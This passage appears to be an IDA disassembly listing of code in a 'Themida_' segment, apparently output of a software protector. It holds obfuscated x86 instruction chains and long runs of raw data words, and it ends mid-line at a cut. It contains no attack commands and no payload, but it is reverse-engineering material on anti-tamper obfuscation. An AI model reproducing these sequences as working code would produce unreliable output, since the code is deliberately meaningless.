8C71CAC5h, 36C5810Ch dd 0E9502F0Bh, 0FFFFF37Fh, 8103E7C1h, 9E5DD9CFh, 0ECBA5214h dd 81555D36h, 0FF1BBFE2h, 0DAE28167h, 4A7C194Ch, 45AEE9h dd 48B6600h, 4EC8124h, 89000000h, 5E542434h, 42E95650h dd 66000026h db 8Bh, 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push eax push edi push edx mov edx, 26501B48h shl edx, 3 shr edx, 7 dec edx jmp loc_4FBA8A ; --------------------------------------------------------------------------- dw 0D366h dd 0E99C240Ch, 6673h, 4C481h, 34870000h, 24248B24h, 3D12C781h dd 0CF012D4Dh, 8904EC83h, 0EAE9242Ch, 6600004Ah, 0E924048Bh dd 0FFFFE9DBh, 0FF2434FFh, 51E92434h db 0EEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F8DCF: ; CODE XREF: Themida_:004FF450j push ebp mov ebp, 576C3DE6h xor ebp, 4E20DFDh xor ebp, 6CE364B8h xor ebp, 0C741636h jmp loc_4F6E55 ; --------------------------------------------------------------------------- dd 5C24048Fh, 91FEE9h, 4832BB00h, 0E94B25F3h, 81C0h ; --------------------------------------------------------------------------- loc_4F8E00: ; CODE XREF: Themida_:004FD67Dj pop ebx add ebx, 4 jmp loc_500F73 ; --------------------------------------------------------------------------- aZ4S db '‡4$é/\',0 align 4 loc_4F8E14: ; CODE XREF: Themida_:004FC9CBj push 4B52h mov [esp], edx mov edx, 71B63FE0h shr edx, 2 jmp loc_50149C ; --------------------------------------------------------------------------- db 81h, 0E9h, 6Ah dd 29DD5901h, 835959CDh, 2C3302C5h, 242C3124h, 5C242C33h dd 0FFD363E9h db 0FFh ; --------------------------------------------------------------------------- loc_4F8E45: ; CODE XREF: Themida_:004F7A19j push ebp mov ebp, 4BE304AAh jmp loc_4F912E ; --------------------------------------------------------------------------- dd 8324048Fh, 5B042404h, 8F9CE9h, 84CE8100h, 0C115152Eh dd 0BF5704EEh, 326324B7h, 7783E9h, 3748BD00h, 0E9312B8Eh dd 1064E9h db 0 ; --------------------------------------------------------------------------- loc_4F8E7D: ; CODE XREF: Themida_:004FC064j pop esi pop dword ptr [esp] pop esp sub [edi+24h], edx pop edx loc_4F8E86: ; CODE XREF: Themida_:004FA5E2j sub esp, 4 mov [esp], edx sub esp, 4 mov [esp], ebx pop edx push 0E8Eh mov [esp], edx jmp loc_4F7A2C ; --------------------------------------------------------------------------- dd 0C8B665Ch, 1926E924h, 348B0000h, 4C48124h, 0E9000000h dd 7D3Ch, 9AEA8158h, 12BFD06h, 9AC281CAh, 592BFD06h, 0FFF0E9E9h dd 81DA01FFh, 0F905C4EAh, 8D90E916h, 0EB810000h, 57CF409Dh dd 5280E9h db 0 ; --------------------------------------------------------------------------- loc_4F8EE5: ; CODE XREF: Themida_:004FF6C2j push ecx push 89C3FB7h pop ecx push edx jmp loc_4FC3FD ; --------------------------------------------------------------------------- dw 1C87h dd 4215C24h, 25E99C24h, 5BFFFFE9h, 0CAE9C8FEh db 61h, 2 dup(0) ; --------------------------------------------------------------------------- loc_4F8F07: ; CODE XREF: Themida_:004FC5FAj push 240Fh jmp loc_4F9B8E ; --------------------------------------------------------------------------- db 1, 0DEh, 5Bh dd 8B243487h, 0C4832424h, 24042904h, 0CDECE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F8F26: ; CODE XREF: Themida_:004F75DFj pop eax jmp loc_4F8258 ; --------------------------------------------------------------------------- dd 9D1C77FFh, 24041158h, 0CDD8E99Ch, 3C87FFFFh, 86685C24h dd 89000060h, 0FBA2414h, 2D0ADD17h, 77F31687h, 0BB53D029h dd 70385C09h, 6F05E9h, 0D4F28100h, 4A38CB64h, 6B75E9h dd 241C3300h, 0C89665Ch, 0CD9CE924h, 0E95EFFFFh, 70B1h dd 0C2815859h, 2, 0E9241487h, 2C7Bh, 59CD0158h, 7C8EE9h dd 0E9CE8900h, 6579h ; --------------------------------------------------------------------------- loc_4F8F9C: ; CODE XREF: Themida_:004FEB72j or ecx, 26E960C1h sub ecx, 33321878h xor edx, ecx mov ecx, [esp] push eax mov eax, esp add eax, 4 push esi mov esi, 2669481Ch not esi shr esi, 7 add esi, 0FE4CD295h add eax, esi mov esi, [esp] add esp, 4 xchg eax, [esp] jmp loc_4FD7CE ; --------------------------------------------------------------------------- loc_4F8FD6: ; CODE XREF: Themida_:004FB9B3j push esp mov ecx, [esp] add esp, 4 add ecx, 4 jmp loc_4FED96 ; --------------------------------------------------------------------------- loc_4F8FEB: ; CODE XREF: Themida_:004F897Dj xor ecx, 15852CACh sub ebx, ecx jmp loc_4FA8F8 ; --------------------------------------------------------------------------- dd 0F988D788h, 2434FF5Bh, 0E189515Ah, 4C181h, 0C1830000h dd 0E8B7E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F9012: ; CODE XREF: Themida_:004F5F98j sub ebp, 4 push ebp jmp loc_501E84 ; --------------------------------------------------------------------------- db 81h dd 5E529EC2h, 0D431E962h, 6664FFFFh, 5702B60Fh, 51E28952h dd 0A64FB0B9h, 55E1D161h, 377028BDh, 5DE90118h, 38A4E9h db 0 ; --------------------------------------------------------------------------- loc_4F9045: ; CODE XREF: Themida_:004FE49Ej push ecx mov ecx, 65457175h sub ecx, 65310B66h or ebp, ecx jmp loc_500BE8 ; --------------------------------------------------------------------------- aFqSfn db 'fQµ',0Dh,'é”N',0 db 0 ; --------------------------------------------------------------------------- loc_4F9061: ; CODE XREF: Themida_:004FF9E2j xor ebx, [esp] jmp loc_50257E ; --------------------------------------------------------------------------- db 8Bh, 14h, 24h aWsiy db 'Wé©Y',0 align 2 aZSar db '‡<$éaR',0 align 2 dw 8B66h dd 56502404h, 0FFCD60E9h db 0FFh ; --------------------------------------------------------------------------- loc_4F9085: ; CODE XREF: Themida_:00500C07j add ecx, 4 xchg ecx, [esp] pop esp jmp loc_4FDCC5 ; --------------------------------------------------------------------------- loc_4F9091: ; CODE XREF: Themida_:004FA583j push dword ptr [esp] pop esi add esp, 4 or edx, eax shl edx, 1 push edi mov edi, esp add edi, 4 push esi jmp loc_4FF322 ; --------------------------------------------------------------------------- aISel db '‰<$éel',0 align 2 loc_4F90B6: ; CODE XREF: Themida_:004FE04Ej pop ebp push edi mov edi, 1C133BDDh xor edi, 8312BDBh sub esi, 77302C3Ch sub esi, edi add esi, 77302C3Ch pop edi jmp loc_4F751D ; --------------------------------------------------------------------------- loc_4F90D7: ; CODE XREF: Themida_:004FE815j mov [esp], edi mov edi, esp add edi, 4 add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp or eax, eax jz loc_4FD95C push dword ptr [edi+1Ch] push dword ptr [esp] pop ecx push 2021h mov [esp], ecx push esp mov ecx, [esp] jmp loc_500BC9 ; --------------------------------------------------------------------------- dw 8159h dd 4C1h, 4C18100h, 87000000h, 315C240Ch, 148B66C3h, 0CFD9E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F912E: ; CODE XREF: Themida_:004F8E4Bj or ebp, 1A105586h add ebp, offset word_4A3AF6 sub ebp, 4BF88036h add ecx, ebp pop ebp sub ecx, 6B650971h sub ecx, edi add ecx, 6B650971h push esi mov esi, 75283968h jmp loc_4F9A92 ; --------------------------------------------------------------------------- dd 0E92C77FFh, 87E8h ; --------------------------------------------------------------------------- loc_4F9164: ; CODE XREF: Themida_:004F649Bj add eax, 77FA7F13h push 2Dh mov [esp], eax pop esi mov eax, [esp] add esp, 4 sub eax, esi pop esi push 7C65h mov [esp], ebp push edx mov edx, 10h mov ebp, edx pop edx jmp loc_500CE7 ; --------------------------------------------------------------------------- dd 0F681DEF7h, 32B40C9Ah, 3B1A6855h, 8EE95CE8h, 81000045h dd 4C2h, 0E880E900h, 34FFFFFFh, 0E9575D24h, 2E37h, 6604C483h dd 0E900B60Fh, 0FFFFF77Fh, 74FF515Ah, 92E90424h, 1000042h dd 2434FFEAh, 4C4835Dh, 0FFCBB8E9h db 0FFh ; --------------------------------------------------------------------------- loc_4F91E1: ; CODE XREF: Themida_:004FF270j sub dword ptr [esp+4], 449A7DA3h add [esp+4], ebx jmp loc_4FF233 ; --------------------------------------------------------------------------- aQtysta db 'QTYéT€',0 align 2 loc_4F91FA: ; CODE XREF: Themida_:004FD2BEj mov eax, ebx mov edi, eax pop eax push edi jmp loc_4F979F ; --------------------------------------------------------------------------- db 0E9h, 8, 0CBh dd 1487FFFFh, 0E9535C24h, 242Ch, 2B60F66h, 3F1A6866h, 24048966h dd 213CE9h db 0 ; --------------------------------------------------------------------------- loc_4F9225: ; CODE XREF: Themida_:004F89FEj add ecx, 692FE4EBh jmp loc_4F949A ; --------------------------------------------------------------------------- dd 83C32858h, 148904ECh, 0A7DE924h, 0C3800000h, 296866F0h dd 14896678h, 0CED2E924h, 248BFFFFh, 0CABCE924h, 487FFFFh dd 0BF575C24h, 558F27E2h, 8895E9h, 0C7E94000h, 0C100002Ah dd 0B95106E2h, 1921271Ah, 0F759CA21h, 0DCEA81DAh, 2DC16B70h dd 84A35F4h, 7D8DE9h db 0 ; --------------------------------------------------------------------------- loc_4F9289: ; CODE XREF: Themida_:004F7D44j xchg esi, [esp] pop esp xor eax, edx mov edx, [esp] add esp, 4 sub esp, 4 mov [esp], ecx push ebx mov ebx, 85F0884h jmp loc_4F85BC ; --------------------------------------------------------------------------- dd 59E768h, 0F8DAE900h, 8E68FFFFh, 89000075h, 0E589242Ch dd 4C581h, 56520000h, 0A91DB568h, 14CEE953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4F92D2: ; CODE XREF: Themida_:004FCF83j jmp loc_4F5D12 ; --------------------------------------------------------------------------- loc_4F92D7: ; CODE XREF: Themida_:004FB9A2j pop edi pop dword ptr [esp] pop esp push dword ptr [edi+eax*4] push dword ptr [esp] pop eax push ebp push esp pop ebp push edi mov edi, 7AFA5A9Eh jmp loc_50271F ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 582414F7h, 0ABE95057h, 80000065h, 8359B4C3h, 0C8904ECh dd 0EC13E924h, 5E5BFFFFh, 129DE9h, 0C8BF0F00h, 5D3A68h dd 240C8900h, 0FFC9EDE9h db 0FFh ; --------------------------------------------------------------------------- loc_4F9325: ; CODE XREF: Themida_:005014B1j add ecx, 3C89594Fh jmp loc_4FCA24 ; --------------------------------------------------------------------------- dd 240C335Eh, 33240C31h, 248B240Ch, 48B6624h, 5B545324h dd 4C381h, 0EB830000h, 241C8704h, 0FFDBBBE9h db 0FFh ; --------------------------------------------------------------------------- loc_4F9355: ; CODE XREF: Themida_:004FE6CAj add eax, edi add eax, 0E0A60AAh jmp loc_50221D ; --------------------------------------------------------------------------- loc_4F9361: ; CODE XREF: Themida_:004FD1ADj mov bl, cl mov cl, dl mov dl, bl pop bx push bx push edx mov dh, 75h mov bl, 25h add bl, dh pop edx or dl, bl pop bx add dl, 1Bh jmp loc_4FBF19 ; --------------------------------------------------------------------------- db 1 aIlSS db 'ë‹,$éÇs',0 db 0 ; --------------------------------------------------------------------------- loc_4F9389: ; CODE XREF: Themida_:005002FCj dec ebp xchg ebp, edx jmp loc_4FB7D7 ; --------------------------------------------------------------------------- loc_4F9391: ; CODE XREF: Themida_:004FFE9Aj xchg ecx, [esp] pop esp push 1993h jmp loc_4FA24A ; --------------------------------------------------------------------------- db 0B3h dd 0FED3F601h, 67ADE9C3h, 0C8BB0000h, 8139F157h, 76AABEBh dd 0C2B8503Bh, 2505992Fh, 5913355Dh, 0BD47BD55h, 0D72DCCEDh dd 29765D2Fh, 7742E9E8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4F93D2: ; CODE XREF: Themida_:004F8379j pop ebp and ecx, esi pop esi shr ecx, 0Ah push 71BAh mov [esp], ebx jmp loc_4F66FC ; --------------------------------------------------------------------------- loc_4F93E6: ; CODE XREF: Themida_:004FA3EFj xchg ebx, [esp] mov esp, [esp] push 5019h mov [esp], ebx jmp loc_4FFB90 ; --------------------------------------------------------------------------- db 81h, 0C6h, 0ACh dd 5857E529h, 2B951h, 0C6810000h, 67E37480h, 2EE9CE01h dd 68FFFFEEh, 0FBEAAEADh, 0E9F5015Eh, 522Dh, 0B35312B2h dd 0CAEB804Ah, 337FE9h db 0 ; --------------------------------------------------------------------------- loc_4F942D: ; CODE XREF: Themida_:00502591j sub edi, 0E929E338h jmp loc_4FEE7E ; --------------------------------------------------------------------------- dd 6804C483h, 4B11h, 0B8240489h, 1B68FFh, 8958C631h, 26D3E9F0h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4F9452: ; CODE XREF: Themida_:004F8CD3j pop esp xchg ebx, [esp] mov esp, [esp] loc_4F9459: ; CODE XREF: Themida_:004FC696j ; Themida_:004FCF99j push dword ptr [edi+24h] add dword ptr [esp], 0D466FE6h jmp loc_4F772C ; --------------------------------------------------------------------------- dd 0DF896657h, 0E9FE8966h, 8DD2h ; --------------------------------------------------------------------------- loc_4F9474: ; CODE XREF: Themida_:004FAA23j add esi, ebp add esi, 2F087D88h pop ebp xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] sub [esp], al pushf jmp loc_4F5D12 ; --------------------------------------------------------------------------- dw 0C483h dd 0DE07E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F949A: ; CODE XREF: Themida_:004F922Bj add edx, ecx jmp loc_4FEF21 ; --------------------------------------------------------------------------- aG9sas db 'º>^g9éAs',0 dw 0C100h dd 685303E0h, 686Ch, 0BF243C89h, 2E326CB5h, 815FFB89h dd 0B5889EBh, 0E9D80116h, 7785h, 575DEB01h, 27738DBFh dd 0E9D7F718h, 4433h ; --------------------------------------------------------------------------- loc_4F94DC: ; CODE XREF: Themida_:004F74F1j xor edi, 65615902h shl edi, 5 shr edi, 3 dec edi sub edi, 25347EF9h sub edi, 7A566530h jmp loc_4FE0C6 ; --------------------------------------------------------------------------- loc_4F94FA: ; CODE XREF: Themida_:004FA149j mov eax, [esp] add esp, 4 push esi mov esi, esp add esi, 4 push edx mov edx, 4 push edx mov edx, 23D47837h sub esi, edx pop edx sub esi, 75A062ACh sub esi, edx push edx jmp loc_4F8706 ; --------------------------------------------------------------------------- dw 489h dd 4EC8124h, 0E9000000h, 2484h, 0C37CC381h, 565263B1h dd 0F289DE89h, 8124348Bh, 4C4h, 5AD58900h, 6C77E9h, 0F7EED100h dd 0FFEE81DEh, 68FFFFFFh, 4863h, 0FFDEC2E9h db 0FFh ; --------------------------------------------------------------------------- loc_4F9565: ; CODE XREF: Themida_:004FBB02j add esp, 4 push ecx mov ecx, esp add ecx, 4 sub ecx, 4 jmp loc_501A1F ; --------------------------------------------------------------------------- loc_4F9579: ; CODE XREF: Themida_:00500BB6j push ebp push dword ptr [esp+4] jmp loc_4FA4AD ; --------------------------------------------------------------------------- db 0BBh dd 4, 8E81E9h db 0 ; --------------------------------------------------------------------------- loc_4F958D: ; CODE XREF: Themida_:004FB3A6j mov eax, esp add eax, 4 push ebp mov ebp, 63B671Ah shl ebp, 2 jmp loc_4FF082 ; --------------------------------------------------------------------------- dw 0C705h dd 297E032Fh, 2FC72DF0h, 2A2D7E03h, 5E337D24h, 0F3233605h dd 2DD82976h, 76F32336h, 5FE5BE56h, 1DE93847h, 1FFFFCBh dd 4EC81D8h, 89000000h, 7F68240Ch, 5955DB51h, 0E903E9C1h dd 4FB7h, 0FF2434FFh, 80E92434h db 69h, 2 dup(0) ; --------------------------------------------------------------------------- loc_4F95EF: ; CODE XREF: Themida_:004FBCFFj push 74A151B6h jmp loc_4F6480 ; --------------------------------------------------------------------------- db 5Ah, 53h, 0E9h dd 0FFFFF7F5h, 4C7815Fh, 81000000h, 4C7h, 243C8700h, 8BDD015Ch dd 0C481241Ch, 4, 8107EDC1h, 1804A9EDh, 3137E966h, 0F6810000h dd 2B605E7h, 80ABC681h, 660551DDh, 29031008h, 0F7E953F0h dd 8F000019h, 248B2404h, 2424D224h, 0C6C0E99Ch, 0CA81FFFFh dd 7E405ED7h, 6213C281h, 0C28100D1h, 0E5C09D6Bh, 0E95AD001h dd 25E7h, 4B8h, 0E0C28100h, 81641076h, 530F2BC2h, 81C2016Ch dd 530F2BEAh, 0F0B8506Ch, 2D3DB84Fh, 3AC776BDh, 1FDEE9h dd 66DEF600h, 30F3B151h, 0EACAE9CEh, 0F6BFFFFFh, 0E947C52Dh dd 412Dh, 240C8B66h, 481468h, 242C8900h, 0BB53E589h, 4 dd 515BDD01h, 9221CDB9h, 0BCC1816Fh, 0F7470937h, 4EC83D1h dd 52240489h, 2035FCBAh, 0FFC2812Bh, 0E9FFFFFFh, 0FFFFDA03h dd 0E95B1388h, 0FFFFC622h, 0C381FB01h, 75185666h, 4C3815Fh dd 87000000h, 815C241Ch, 5C1D242Ch, 0B8501E01h, 330121F8h dd 4244429h, 2B20E9h, 88C38800h, 241C8BDEh, 9D8E9h db 0 ; --------------------------------------------------------------------------- loc_4F9725: ; CODE XREF: Themida_:004F9992j mov esp, [esp] mov [esp], eax jmp loc_4F5D12 ; --------------------------------------------------------------------------- dd 8704C083h, 0A4E92404h db 13h, 2 dup(0) ; --------------------------------------------------------------------------- loc_4F973B: ; CODE XREF: Themida_:00501743j mov edx, 72EB6FE0h xor edx, edi pop edi xor edx, 19400A9Fh push edi mov edi, 344F5B75h shr edi, 8 not edi shl edi, 3 xor edi, 789264AFh add edi, 0FFFFFFFFh xor edi, 0D844F2FBh jmp loc_4FD87A ; --------------------------------------------------------------------------- loc_4F976E: ; CODE XREF: Themida_:004FE983j add esp, 4 and eax, ebx pop ebx or eax, eax jz loc_4FD2B5 push dword ptr [edi+28h] mov eax, [esp] push 0EF0h mov [esp], edi push esp mov edi, [esp] add esp, 4 jmp loc_4FD23C ; --------------------------------------------------------------------------- db 5Ah, 0E9h, 0AFh db 0D5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F979F: ; CODE XREF: Themida_:004F9200j push ecx mov ecx, 4C8161E0h add [esp+4], ecx pop ecx mov eax, [esp] push ecx mov ecx, esp jmp loc_4F8654 ; --------------------------------------------------------------------------- aZsh db '‡éh',0Dh,'[',0 align 4 dd 0B8240489h, 4AECF907h, 48BC131h, 4C48324h, 34FFC801h dd 0C4835924h, 47272D04h, 0D8290DBBh, 0BB472705h, 0F21DE90Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F97E6: ; CODE XREF: Themida_:0050096Cj mov ecx, edx mov ebp, ecx jmp loc_4FCE05 ; --------------------------------------------------------------------------- db 56h dd 0C681E689h, 4, 346568h, 24048900h, 50F2BD55h, 814D75D0h dd 2FAF13C5h, 5DE8898Ah, 0DCE9C601h, 2900005Dh, 0EEC15FFEh dd 0B5EE8106h, 0E9000DA8h, 1DCAh, 0C105EAC1h, 0F28108E2h dd 89769CDh, 65F7EA81h, 0EA8143C1h, 0F088928h, 0E95AD301h dd 3DCCh, 0C188D088h, 24148B58h, 0C004C483h, 0EC8304E1h dd 4896602h, 0EEFEE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F9862: ; CODE XREF: Themida_:004FE39Ej mov edx, [esp] add esp, 4 push ebx xor dword ptr [esp], 68EC44E7h jmp loc_4FFA31 ; --------------------------------------------------------------------------- aNqEHpx db 'Q¹e;]^hpX',0 dd 0EE54E900h, 0C483FFFFh, 6BE18004h, 0F180D9F6h, 8852660Eh dd 0F65266CAh, 5A662414h, 5A66D188h, 0E99DE980h, 5267h dd 835BDE01h, 0FF5604C6h, 5E042474h, 111E9h db 0 ; --------------------------------------------------------------------------- loc_4F98B9: ; CODE XREF: Themida_:004F6EF9j sub edx, 0B4E97F6Bh mov ecx, edx pop edx xor ecx, edx pop edx add ebp, ecx push dword ptr [esp] pop ecx add esp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] or eax, eax jz loc_4FEB5A push dword ptr [edi+1Ch] push edi jmp loc_502596 ; --------------------------------------------------------------------------- db 89h dd 0F3015FFEh, 8806E95Eh, 43BB0000h, 8343A039h, 0C8904ECh dd 5A91B924h, 0BF570C87h, 714D5CABh, 3C8BF921h, 4C48324h dd 4105E9C1h, 0D5DE981h, 0EFE9DD64h, 2800002Eh, 0F82859CFh dd 2C0F685Bh, 1C890000h, 0C068B724h, 14E903E7h, 66FFFFCFh dd 0E9240C8Bh, 8054h, 1B0F42BFh, 0E9FA010Dh, 1610h ; --------------------------------------------------------------------------- loc_4F9950: ; CODE XREF: Themida_:00500A92j push dword ptr [esp] pop ebp add esp, 4 shr ecx, 6 sub esp, 4 mov [esp], ebx push dword ptr [esp] mov eax, [esp] push ecx mov ecx, esp add ecx, 4 jmp loc_4FFE97 ; --------------------------------------------------------------------------- loc_4F997A: ; CODE XREF: Themida_:004FCA7Ej add esi, ecx add esi, 14BE2F81h pop ecx sub esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_4F9725 ; --------------------------------------------------------------------------- db 0C1h dd 0C38107E3h, 0DB4EB884h, 1AE9D901h db 0DFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F99A7: ; CODE XREF: Themida_:00501855j mov edx, 4 add eax, edx pop edx xchg eax, [esp] pop esp sub esp, 4 mov [esp], esi push ebp mov ebp, 7CE13471h mov esi, 7CE13475h push edx jmp loc_4F7C81 ; --------------------------------------------------------------------------- dw 48Fh dd 24248B24h, 5066C3FEh, 63E917B4h db 6Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_4F99DB: ; CODE XREF: Themida_:005007CCj pop ebx inc ebx or ebx, 1EDE3531h or ebx, 248E1493h shl ebx, 1 not ebx jmp loc_4FC7FC ; --------------------------------------------------------------------------- dw 0F680h dd 0CDF68089h, 4334E9h db 0 ; --------------------------------------------------------------------------- loc_4F99FD: ; CODE XREF: Themida_:004F707Dj mov edx, 0 sub edx, esi mov esi, edx pop edx xor esi, 4C406D0Fh xor esi, 0C2BBADABh jmp loc_4FA7B3 ; --------------------------------------------------------------------------- dd 6824048Fh, 5260h, 0B8240489h, 4, 4244401h, 2434FF58h dd 4C4835Dh, 4C581h, 0C5830000h, 242C8704h, 0FF24248Bh dd 0E99C2404h, 0FFFFC2C6h ; --------------------------------------------------------------------------- loc_4F9A4C: ; CODE XREF: Themida_:004FCB46j xchg edi, [esp] jmp loc_4FBF78 ; --------------------------------------------------------------------------- loc_4F9A54: ; CODE XREF: Themida_:004FFE70j xor [esp+4], edi mov edi, [esp] add esp, 4 push dword ptr [esp] pop eax jmp loc_50115A ; --------------------------------------------------------------------------- db 0BAh dd 3F4428E2h, 565AD621h, 0E9241CF7h, 4ABFh, 0D0E9C629h dd 0B9FFFFD1h, 65890D04h, 0F5E9CB29h, 66000071h, 0D5BAE959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F9A92: ; CODE XREF: Themida_:004F9157j add esi, 424F134Fh sub esi, 0A7323C49h sub ecx, esi pop esi pop edi push 1 jmp loc_4FB9DE ; --------------------------------------------------------------------------- dd 0E924048Fh, 81D1h, 0FFC0B60Fh, 53E98734h, 81FFFFC2h dd 3C1867C3h, 0C2EB8159h, 8F491C0Bh, 0E12AE900h, 0E530FFFFh dd 7E5C058h, 0E9F5ED80h, 2859h, 0E902E3C1h, 0FFFFDFC7h dd 206868h, 24248900h, 4B95156h, 89000000h, 740159CEh dd 19E90424h, 58FFFFEFh, 4EB81h, 0FCE90000h, 21000000h dd 0B85059CAh, 28FB68EBh, 7ABFE9h, 4EC8100h, 89000000h dd 68BE2434h, 8332D26Dh, 0EEC101C6h, 2677E908h, 0D3010000h dd 0FFC971E9h, 0D3CB2DFFh, 0FE975B7h, 81000038h, 5D8C6FC1h dd 1B852D35h, 0E4E9757Bh, 5DFFFFEAh, 835EF501h, 2C8702C5h dd 31FAE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4F9B66: ; CODE XREF: Themida_:004FED9Bj mov [esp], esi mov esi, 2 add ecx, 661969FBh add ecx, esi jmp loc_4FA866 ; --------------------------------------------------------------------------- loc_4F9B7B: ; CODE XREF: Themida_:005001E3j sub esi, 227582A4h add edi, 151B00FFh sub edi, esi jmp loc_4F9D03 ; --------------------------------------------------------------------------- loc_4F9B8E: ; CODE XREF: Themida_:004F8F0Cj sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] add dword ptr [esp], 4 pop esi jmp loc_4F85FA ; --------------------------------------------------------------------------- db 81h dd 556DABE1h, 5CE9811Fh, 89B4C127h, 0E95559CBh, 23F8h ; --------------------------------------------------------------------------- loc_4F9BC0: ; CODE XREF: Themida_:004FE047j xor [esp], eax xor eax, [esp] mov esp, [esp] shr eax, 12h xor eax, ecx push 7E26h jmp loc_4FCB23 ; --------------------------------------------------------------------------- aXwsb db 'XWéB\',0 dw 8900h dd 0E954240Ch, 63DDh, 0E959C831h, 5374h, 348BF289h, 0E7895724h dd 5025E950h, 0FD010000h, 56AFED81h, 57E93505h, 83FFFFC1h dd 1C8904ECh, 2474FF24h, 48F5B04h, 24248B24h, 50241489h dd 0C0ECE99Ch, 1C89FFFFh, 97B95124h, 0BB337F50h, 337F5099h dd 5783EB81h, 0EB814D33h, 72061BD3h, 494EEB81h, 0CB2929D7h dd 494EC381h, 0C38129D7h, 72061BD3h, 67C3E9h, 81D60100h dd 0F07789C6h, 0EE815A34h, 0C640F54h, 0BC7BA52h, 0DAF70F64h dd 171568h, 4DECE900h, 0ED810000h, 0B42E7C96h, 34FFEB01h dd 0CCB7E924h, 1487FFFFh, 8B665C24h, 89532404h, 0E9BA52E3h dd 8114F706h, 937152F2h, 67E95019h, 30000006h, 3C32243Ch dd 243C3024h, 6866C786h, 37E948B1h, 0B6FFFFCFh, 0B65266A6h dd 66F3000Dh, 56F5E95Ah, 0CF290000h, 0CF31F931h, 0C15FF931h dd 0D9F706E9h, 36636853h, 0AAE96553h db 0C7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F9CE3: ; CODE XREF: Themida_:004FC126j push edx mov edx, 74AB4A63h push edx mov edx, 338D50BAh shr edx, 4 add edx, 2BC90DCFh add edx, 4771BBA8h jmp loc_4FFF0D ; --------------------------------------------------------------------------- loc_4F9D03: ; CODE XREF: Themida_:004F9B89j sub edi, 151B00FFh pop esi xor ecx, edi jmp loc_4FC02E ; --------------------------------------------------------------------------- db 0BEh, 0C2h, 0Bh dd 0EB81491Ch, 0CAC0F0Dh, 650DE9h, 6EDC000h, 28A5ED80h dd 240C8BE8h, 2C04C483h, 4D8282Ch, 691F682Ch, 14890000h dd 0FECEB224h, 80D2F6CAh, 0B3532CC2h, 80D3F63Fh, 0D82806EBh dd 0E9D0005Bh, 0A33h, 0E969EF80h, 8107h, 240C8B66h, 22268h dd 24348900h, 5143E954h, 50680000h, 5B24406Eh, 6ABCE9h dd 4EC8300h, 5E243C89h, 59C2815Fh, 15E5866h, 59EA81F2h dd 5E5E5866h, 11D8E9h, 52565C00h, 20F1E9h, 5BDE0100h, 4C681h dd 34870000h, 4744E924h, 0C3310000h, 0FFC954E9h, 66C788FFh dd 0E924048Bh, 486Fh, 657EEF81h, 0F78168DDh, 1DD356F7h dd 0A9CAEF81h, 0C181D1C1h, 707649AAh, 0E981F901h, 707649AAh dd 5F2434FFh, 81E38953h, 4C3h, 4C38100h, 87000000h, 0DCE9241Ch dd 28000078h, 148B66F7h, 3FFCE924h, 5A540000h, 4C281h dd 0EA830000h, 24148704h, 2AC2E95Ch, 0E95B0000h, 0FFFFBEEEh dd 8952B3B0h, 4B951E2h, 1000000h, 41C0E9CAh, 0BE560000h dd 61A8552Ah, 348BF729h, 0F9A9E924h, 0EB81FFFFh, 560B6991h dd 0FFC122E9h, 243C8BFFh, 0FFD3E6E9h db 0FFh ; --------------------------------------------------------------------------- loc_4F9E59: ; CODE XREF: Themida_:004F758Ej pop edi jmp loc_4FCA97 ; --------------------------------------------------------------------------- db 68h dd 6D09h, 53240C89h, 0B35BB050h, 58C33043h, 0C5FE36B5h dd 53E0E9h db 0 ; --------------------------------------------------------------------------- loc_4F9E79: ; CODE XREF: Themida_:004FE610j mov ebp, [esp] add esp, 4 jmp loc_501F88 ; --------------------------------------------------------------------------- db 66h dd 4A66DAF7h, 7CC28166h, 8805667Ch, 0ED2D6647h, 0D0016610h dd 10ED0566h, 0FFEBABE9h, 66C828FFh, 0E9240C8Bh, 0FFFFC036h dd 24343359h, 7F1E9h, 66D80000h, 3D236852h, 1C890000h dd 0B680B324h, 28EE805Dh, 0ACC680h, 93B551DEh, 0F6D4E580h dd 5ECD80DDh, 607AE9h, 0BA525D00h, 6A54AD1h, 565AD129h dd 0F389CE89h, 3EA9E9h, 85E98100h, 8150C92Ah, 870C0CE9h dd 59CE31B1h, 5E1C7721h, 0FFBE05E9h, 8953ADFFh, 4C381E3h dd 81000000h, 4EBh, 241C8700h, 2404895Ch, 0A34878B8h, 6E0C113h dd 62172905h, 5E0C14Ch, 2295CC2Dh, 0E9C6019Ah, 0FFFFEB32h dd 0C5005934h, 82ECE9h, 0F2295F00h, 0BF57425Eh, 0BC581AF9h dd 0FFEB5CE9h, 4C483FFh, 405h, 9CE95300h, 56FFFFE2h, 4BEh dd 5EF00100h, 0FFD5EEE9h, 38CF81FFh, 0C152F81Ah, 0EF8705E7h dd 0EF87D5F7h, 8108E7C1h, 0CF70E6EFh, 0EAC7817Ch, 1689671h dd 243C8BFBh, 8104C483h, 2EBh, 241C8700h, 0C89665Ch, 0B60F6624h dd 9C5166C8h, 50F5E9h, 2434FF00h, 4C4835Ah, 22A26866h dd 24148966h, 0B653B551h, 0E9EE302Fh, 0FFFFC288h, 0E92434FFh dd 3E9Fh, 35EEE957h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4F9FDE: ; CODE XREF: 